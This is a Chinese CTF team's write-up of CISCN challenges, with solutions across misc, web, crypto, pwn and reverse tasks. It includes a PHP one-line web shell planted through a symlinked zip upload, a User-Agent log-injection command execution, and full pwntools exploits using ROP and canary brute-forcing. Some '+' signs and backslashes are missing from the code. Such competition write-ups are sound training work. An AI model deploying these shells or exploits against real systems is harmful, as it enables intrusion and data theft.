# DebuGGerrr 战队WRITEUP

2024-02-23 10:13:11 浏览数 (1)

summary: 时隔一年再战Ciscn,也算是有所收获吧。本年度中团队共完成题目12道,包含全部分类,个人因为大三考研的事情基本退回了端茶倒水杂项手的状态,不过队友到是有不少收获,在前两届没多少成绩的RE和逆向上同队的师弟也有所发挥

DebuGGerrr 战队WRITEUP

一、战队信息

战队名称: DebuGGerrr

战队排名:261

二、解题情况

排名排名

TOC

三、解题过程

杂项:

签到卡:

随便输入得到hint,关注公众号,得到他的提示,输入 print(open('/flag').read())得到flag

国粹:

在最初的思路里是一位题目是一个形如E(x)=(ax b)(modm)的类仿射密码

后面试着要不把这些画出来看下,在写了几串之后看到了flag....然后因为分工,两个人写点坐标的格式不一样,最终Python代码如下.....

代码语言:python代码运行次数:0复制
import matplotlib.pyplot as plt
import pandas as pd

#读入文件
file_path = "data.txt"
df = pd.read_table(file_path, header=None)

#定义 x  y变量
x = []
y = []
#定义颜色变量
color = ['c', 'b', 'g', 'r', 'm', 'y', 'k', 'w']

xx = [1,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,10,10,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,20,20,22,22,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,23,23,23,23]
yy = [4,5,10,30,3,4,5,6,10,29,30,3,4,10,16,17,22,23,24,25,29,30,2,3,4,5,10,15,16,18,21,22,24,25,29,30,3,4,10,15,17,18,19,21,22,25,28,29,3,4,10,15,16,18,19,21,22,25,29,3,4,10,11,12,13,15,18,19,22,23,24,25,29,30,3,4,11,12,15,16,17,18,19,20,25,29,30,21,22,24,25,30,31,23,24,22,23,24,25,2,3,4,5,9,10,11,12,16,17,18,19,24,25,2,5,6,9,12,19,23,24,5,9,12,18,19,22,23,4,5,9,12,17,18,23,24,3,4,9,12,16,17,24,25,3,9,12,16,25,3,4,5,6,9,10,11,12,16,17,18,19,21,22,23,24,25,10,11,3,4,5,6,10,11,12,17,18,19,24,25,3,6,7,9,10,16,17,19,20,22,23,24,25]

#用for循环将文件中的值赋值给x,y
for i in range(len(df[0])):
    x.append(int(df[0][i].split(',')[0]))
    y.append(int(df[0][i].split(',')[1]))

for i in range(len(xx)):
    x.append(xx[i])
    y.append(yy[i])
#画图
plt.scatter(x, y, c=color[1], edgecolors='r')
plt.show()

flag{202305012359}

被加密的生产流量:

追踪流发现base编码

base32编码,解码得到flag

flag{c1f_fi1g_1000}

pyshell:

本题为python的shell终端,拼接读取flag的字符串后用eval()进行执行,即可获得flag

flag{2c9b76d6-8379-4dd8-a95a-a383420575f5}

web

unzip:

建立软连接实现,

参考博客:https://forum.butian.net/share/906

先建立软连接

代码语言:shell复制
ln -s /var/www/html test
# 先建立软连接
zip --symlinks test.zip ./*
# 创建 test文件
mkdir test
vim cmd.php # cd 进去创建cmd.php
#   往里面写入一句话木马
<?php @eval($_POST['shell']);?>

#退回上级目录,压缩test文件夹
zip -r test1.zip ./*
#先上传test.zip 后上传test1.zip,然后直接蚁剑连上
http://eci-2ze4nvw7kl74qmeixz3h.cloudeci1.ichunqiu.com/cmd.php

找到flag即可

dumpit

对/flag下所有提供的参数进行测试,发现提供的第二个参数可以到日志

过滤了post和get,不能直接将木马写入参数中执行

这里采用echo重定向的方式,将待执行的命令写入到User-Agent中,并重定向到/app/log/a.php中

访问/log/a.php发现可以成功执行

最后在env环境变量中找到flag

flag{290a8dfa-4d33-4ae2-a781-ef17e464d0bc}

Crypto

Sign_in_passwd:

是一道Base64换表题目,使用CyberChef的Base64转码功能,可以自定义Base64表格,输入需要转码的字符串,即可得flag ,题目给的表中有部分经过url编码,解码后便可以正常实现

基于国密SM2算法的密钥密文分发:

非预期解,在登录获取id并且发送完公钥后,通过quantum获取服务器端密钥的密文后,search查看发现服务器端存在密钥的明文,即quantumStringServer,发送该明文进行check获取flag。

flag{fe362b36-56e5-4b6c-a5cc-12d3e755ce0}

可信度量:

非预期解,通过命令全局搜索flag字符串。

代码语言:python代码运行次数:0复制
grep -ra "flag{" / 

Pwn

烧烤摊儿:

首先,分析vip函数,发现无符号整数存在整数溢出,因此考虑输入-1000000使余额溢出到大于100000。

之后买下该店后通过栈溢出劫持程序执行流,因为本题禁止了execve的系统调用,因此考虑orw读取flag。只需要控制栈溢出后分别执行open,read,write三个函数。

完整exp:

代码语言:python代码运行次数:0复制
from pwn import *

#io = process("./shaokao")
io = remote("")

name_addr = 0x4E60F0
open_addr = 0x457C90
read_addr = 0x457DC0
write_addr = 0x457E60

pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rdx_rbx = 0x4a404b

io.sendline('1')
io.sendline('1')
#integer overflow
io.sendline('-1000000')
io.sendline('4')
io.sendline('5')

#rop orw
payload = p64(pop_rdi_ret)   p64(name_addr)   p64(pop_rsi_ret)   p64(0)   p64(open_addr)
payload  = p64(pop_rdi_ret)   p64(3)   p64(pop_rsi_ret)   p64(name_addr)   p64(pop_rdx_rbx)   p64(0x200)   p64(0)   p64(read_addr)
payload  = p64(pop_rdi_ret)   p64(1)   p64(pop_rsi_ret)   p64(name_addr)   p64(pop_rdx_rbx)   p64(0x200)   p64(0)   p64(write_addr)

io.sendline(b'./flagx00x00'   b'a' * (0x16   8)   payload)

io.interactive()
funcanary:()

简单栈溢出,只不过在栈上放了canary,分析发现存在后门函数backdoor,同时main函数是while(1)循环,这就使得我们输入canary失败时仍然能回到main函数,因此可以通过爆破泄露出canary的内容(8位canary,爆破七次)。程序开启了pie,因此需要爆破后门函数的地址,发现后三位不变,爆破倒数第四位。

exp:

代码语言:python代码运行次数:0复制
from pwn import *

io = process('./funcanary')
# io = remote('', '')
elf = ELF('./pwn123')

io.recvuntil(b'welcomen')
canary = b'x00'

for m in range(7):
    for i in range(256):
        payload = b'a'*0x68   canary   p8(i)

        io.send(payload)
        msg = io.recvuntil(b'welcomen')

        #输入了正确的canary,返回
        if b'have fun' in msg:
            canary  = p8(i)
            break

backdoor = 0x1229

for k in range(0x10):
    addr = k * 16   2
    payload = b'a' * 0x68   canary   b'a' * 8   b'x31'   p8(addr)
    io.send(payload)

    msg = io.recvline()

    if b'flag{' in msg:
        print(msg)
        io.interactive()

re

babyRE:

下载文件之后发现是Snap的程序,找到他的官网https://snap.berkeley.edu/snap/snap.html#在线导入文件,发现有些变量和函数命名不规范,将其规范化,发现

此为初始化函数,相当于初始化数组,后发现

将输入的字符第一个与前一个进行^ 操作,第二个与第一个进行^ 以此类推.

编写脚本:

代码语言:python代码运行次数:0复制
list = [10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
str1 = 'f'
for j in list:
    for i in range(32, 127):
        if i ^ ord(str1[-1]) == j:
            str1 = str1   chr(i)
            print(str1)
            break
print(str1)

得到flag

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

ctf

0 人点赞